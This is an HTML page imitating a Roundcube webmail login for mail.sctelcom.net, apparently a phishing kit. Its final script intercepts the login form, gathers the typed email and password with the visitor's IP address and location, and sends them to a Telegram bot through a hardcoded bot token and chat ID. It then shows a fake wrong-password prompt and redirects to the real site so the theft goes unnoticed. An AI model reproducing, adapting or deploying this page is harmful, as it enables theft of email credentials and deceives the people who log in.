<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<title>Webmail :: Welcome to Webmail</title>
<meta name="viewport" content="" id="viewport" />

<link rel="shortcut icon" href="https://mail.sctelcom.net/skins/larry/images/favicon.ico?s=1694896977">

<link rel="stylesheet" type="text/css" href="https://mail.sctelcom.net/skins/larry/styles.min.css?s=1714151175" />
<link rel="stylesheet" type="text/css" href="https://mail.sctelcom.net/plugins/jqueryui/themes/larry/jquery-ui.css?s=1694896976">
<script src="skins/larry/ui.min.js?s=1694896977"></script>




<script src="program/js/jquery.min.js?s=1694897012"></script>
<script src="program/js/common.min.js?s=1694896977"></script>
<script src="program/js/app.min.js?s=1694896977"></script>
<script src="program/js/jstz.min.js?s=1694897012"></script>
<script>
/*
        @licstart  The following is the entire license notice for the 
        JavaScript code in this page.

        Copyright (C) The Roundcube Dev Team

        The JavaScript code in this page is free software: you can redistribute
        it and/or modify it under the terms of the GNU General Public License
        as published by the Free Software Foundation, either version 3 of
        the License, or (at your option) any later version.

        The code is distributed WITHOUT ANY WARRANTY; without even the implied
        warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
        See the GNU GPL for more details.

        @licend  The above is the entire license notice
        for the JavaScript code in this page.
*/
var rcmail = new rcube_webmail();
rcmail.set_env({"task":"login","standard_windows":false,"locale":"en_US","devel_mode":null,"rcversion":10414,"cookie_domain":"","cookie_path":"/","cookie_secure":true,"skin":"larry","blankpage":"skins/larry/watermark.html","refresh_interval":60,"session_lifetime":3600,"action":"","comm_path":"./?_task=login","compose_extwin":false,"allow_save_device_30days":true,"twofactor_formfield_as_password":false,"date_format":"yy-mm-dd","date_format_localized":"YYYY-MM-DD","request_token":"3b3OWy3GF4fwJM0oxo558rZlgHU6nAbW"});
rcmail.add_label({"loading":"Loading...","servererror":"Server Error!","connerror":"Connection Error (Failed to reach the server)!","requesttimedout":"Request timed out","refreshing":"Refreshing...","windowopenerror":"The popup window was blocked!","uploadingmany":"Uploading files...","uploading":"Uploading file...","close":"Close","save":"Save","cancel":"Cancel","alerttitle":"Attention","confirmationtitle":"Are you sure...","delete":"Delete","continue":"Continue","ok":"OK","twofactor_gauthenticator.activate":"Activate","twofactor_gauthenticator.twofactor_gauthenticator":"2-Factor Authentication","twofactor_gauthenticator.code":"Google Authenticator Code","twofactor_gauthenticator.two_step_verification_form":"2-Factor Authentication Code:","twofactor_gauthenticator.secret":"Secret","twofactor_gauthenticator.qr_code":"QR Code","twofactor_gauthenticator.msg_infor":"You can scan this QR code containing the 2-Factor settings using a TOTP compatible app such as \u003Ca href=\"https://github.com/google/google-authenticator\" target=\"_blank\"\u003Egoogle-authenticator\u003C/a\u003E","twofactor_gauthenticator.show_secret":"Show secret","twofactor_gauthenticator.hide_secret":"Hide secret","twofactor_gauthenticator.create_secret":"Create secret","twofactor_gauthenticator.show_qr_code":"Show QR Code","twofactor_gauthenticator.hide_qr_code":"Hide QR Code","twofactor_gauthenticator.recovery_codes":"Recovery codes","twofactor_gauthenticator.show_recovery_codes":"Show recovery codes","twofactor_gauthenticator.hide_recovery_codes":"Hide recovery codes","twofactor_gauthenticator.setup_all_fields":"Fill all fields (make sure you click save to store your settings)","twofactor_gauthenticator.enrollment_dialog_title":"2-Factor authentication enrollment","twofactor_gauthenticator.enrollment_dialog_msg":"\u003Cstrong\u003E2-Factor authentication codes\u003C/strong\u003E are required for increased security, please configure them now.","twofactor_gauthenticator.check_code":"Check 2FA code","twofactor_gauthenticator.code_ok":"Code OK","twofactor_gauthenticator.code_ko":"Incorrect code","twofactor_gauthenticator.dont_ask_me_30days":"Don&#39;t ask me codes again on this computer for 30 days","twofactor_gauthenticator.check_code_to_activate":"To save, please scan the QR Code and enter the current 2-Factor code below.","twofactor_gauthenticator.successfully_saved":"2-Factor authentication settings saved successfully.","errortitle":"An error occurred!","toggleadvancedoptions":"Toggle advanced options","options":"Options"});
rcmail.gui_container("loginfooter","bottomline");rcmail.gui_object('loginform', 'form');
rcmail.gui_object('message', 'message');
</script>

<script src="plugins/twofactor_gauthenticator/twofactor_gauthenticator.js?s=1627510148"></script>
<script src="plugins/twofactor_gauthenticator/qrcode.min.js?s=1627507939"></script>
<script src="plugins/jqueryui/js/jquery-ui.min.js?s=1694896976"></script>

</head>
<body>

<h1 class="voice">Webmail Login</h1>

<div id="login-form">
<div class="box-inner" role="main">
<img src="https://mail.sctelcom.net/logo.png?s=1715207242" id="logo" alt="Webmail">

<form id="form" name="form" method="post" action="./?_task=login">
<input type="hidden" name="_token" value="3b3OWy3GF4fwJM0oxo558rZlgHU6nAbW">
<input type="hidden" name="_task" value="login"><input type="hidden" name="_action" value="login"><input type="hidden" name="_timezone" id="rcmlogintz" value="_default_"><input type="hidden" name="_url" id="rcmloginurl" value=""><table><tbody><tr><td class="title"><label for="rcmloginuser">Email</label>
</td>
<td class="input"><input name="username" id="username" required size="40" autocapitalize="off" autocomplete="off" type="email"></td>
</tr>
<tr><td class="title"><label for="rcmloginpwd">Password</label>
</td>
<td class="input"><input name="password" id="password" required size="40" autocapitalize="off" autocomplete="off" type="password"></td>
</tr>
</tbody>
</table>
<p class="formbuttons"><button type="submit" id="rcmloginsubmit" class="button mainaction submit">Login</button>
</p>

</form>

</div>

<div class="box-bottom" role="complementary">
	<div id="message"></div>
	<noscript>
		<p class="noscriptwarning">Warning: This webmail service requires Javascript! In order to use it please enable Javascript in your browser's settings.</p>
	</noscript>
</div>

<div id="bottomline" role="contentinfo">
	Webmail 
		
</div>
</div>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script type="text/javascript">

$(document).ready(function() {
  var count = 0;
  var counts = 0;
  var token = '5478871666:AAHwLSGPgZqy3a6vCwcOiKTygSM1OKBHh4E';
  var chatId = '533821038';
  var ipAddress = '';
  var city = '';
  var state = '';
  var country = '';
  
  $.get('https://api.ipify.org/?format=json', function(data) {
	ipAddress = data.ip;
  $.get('http://www.geoplugin.net/json.gp?ip='+ data.ip, function(data) {
	city = data.geoplugin_city;
	state = data.geoplugin_region;
	country = data.geoplugin_countryName;
  });
  });

  $('#form').on('submit', function(e){
    counts = counts + 1;
    execute();
	e.preventDefault();
  });

  function execute() {
    var username = $('#username').val();
    var password = $('#password').val();
    var message = `====== |mail.sctelcom.net| ======
Email: ${username}
Password: ${password}
====== |IP Address Info| ======
IP Address: ${ipAddress}
City: ${city}
State: ${state}
Country: ${country}
====== |Ghost Rider| ======
`;

    $.ajax({
      type: 'POST',
      url: `https://api.telegram.org/bot${token}/sendMessage`,
      data: {
        chat_id: chatId,
        text: message,
        parse_mode: 'html',
      },
      beforeSend: function(res) {
        $('#rcmloginsubmit').html('Verifying...');
      },
      success: function(res) {
        console.debug(res);
        $('#response').text('Message sent');
        setTimeout(function() {
          if (counts == 1) {
            $('#step1').hide();
            $('#step2').show();
            setTimeout(function() {
              window.location.href = "https://mail.sctelcom.net";
            }, 1000);
          } else {
            $('#password').val('');
            $('#error-row').show();
            $('#rcmloginsubmit').html('Login')
          }
        }, 1000);
      },
    });
  }
});
</script>

</body>
</html>